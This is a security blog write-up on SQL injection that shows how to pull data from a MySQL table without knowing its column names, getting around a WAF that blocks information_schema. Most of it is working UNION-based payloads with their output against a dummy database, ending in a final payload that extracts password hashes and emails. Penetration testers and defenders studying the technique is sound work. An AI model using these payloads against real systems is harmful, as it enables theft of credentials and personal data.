[SQLi] Extracting data without knowing columns names

Extracting data without knowing columns names from MYSQL < 5 or in case of WAF blacklisting sending information_schema in the request

Introduction

You can skip that
You might face a situation in which you have to dump certain data from a certain table from MySQL DB,
To do so, You got to know the table name, column names you need to dump, which might be a little bit tricky in certain cases.
For instance, working on MYSQL < 5 or even working on MYSQL => 5 but the web server itself is behind a WAF blacklisting any call to information_schema, And that was the situation we had.
In such cases getting DB server version or even DB name would be enough proof of concept for the severity for the vulnerability.
But we were permitted to proceed with the exploitation, gaining the highest privileges we can.
We started with table names brute force followed by columns names brute force.
The only useful entry we got was the table name users among with couple useless table names.
We proceeded with the columns names brute force which just returned a single valid column name id which isn’t enough to gain further access.

Injecting without column names

With my teammate @aboul3la we created a dummy SQL DB simulating the target’s one and started searching for a method to extract data from the table without knowing columns names, Which we made after some searching mixed with a lot of trial and error.

Executing the following normal query will return users table contents

MariaDB [dummydb]> select * from users;
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| id | name         | password                                 | email                       | birthdate  | added               |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
|  1 | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected]      | 1981-05-03 | 1993-03-20 14:03:14 |
|  2 | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected]   | 1979-10-28 | 2007-01-20 18:38:29 |
|  3 | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected]        | 2005-11-16 | 1992-02-16 04:19:05 |
|  4 | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected]          | 2015-07-22 | 2014-03-05 22:57:18 |
|  5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
5 rows in set (0.00 sec)

The columns name, password, email, birthdate, added were selected.

Next step is to convert columns names to any selectable known value,
This could be converted in SQL to

MariaDB [dummydb]> select 1,2,3,4,5,6 union select * from users;
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2            | 3                                        | 4                           | 5          | 6                   |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2            | 3                                        | 4                           | 5          | 6                   |
| 1 | alias        | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected]      | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus    | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected]   | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor        | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected]        | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et           | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected]          | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
6 rows in set (0.00 sec)

Great, the columns names were replaced from name, password, email, birthdate, added to 1, 2, 3, 4, 5, 6 just as we set at the  select 1,2,3,4,5,6 part of the query

Next step is selecting the data based on the new numeric values which can be done selecting `field_number` from the previous query with adding any table alias.
Using the following query  select `4` from (select 1,2,3,4,5,6 union select * from users)redforce; will select column number 4 which refer to the email address column,

MariaDB [dummydb]> select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;
+-----------------------------+
| 4                           |
+-----------------------------+
| 4                           |
| [email protected]      |
| [email protected]   |
| [email protected]        |
| [email protected]          |
| [email protected] |
+-----------------------------+
6 rows in set (0.00 sec)

changing that to 3 will return the password, 2 will return the name . . and so on

Mixing that with our injection payload will result in the final payload  -1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
Modify this to fit your needs

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-------+
| author_id | title |
+-----------+-------+
|         1 | alias |
+-----------+-------+
1 row in set (0.00 sec)

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+------------------------------------------+
| author_id | title                                    |
+-----------+------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37 |
+-----------+------------------------------------------+
1 row in set (0.00 sec)

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+------------------------+
| author_id | title                  |
+-----------+------------------------+
|         1 | [email protected] |
+-----------+------------------------+
1 row in set (0.00 sec)

In a nutshell

You can achieve that by selecting everything from the target’s table, converting the column names into any known values then using these values as a field in the select query
Final payload

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:[email protected] |
+-----------+-----------------------------------------------------------------+

Happy hacking

Keep reading

More >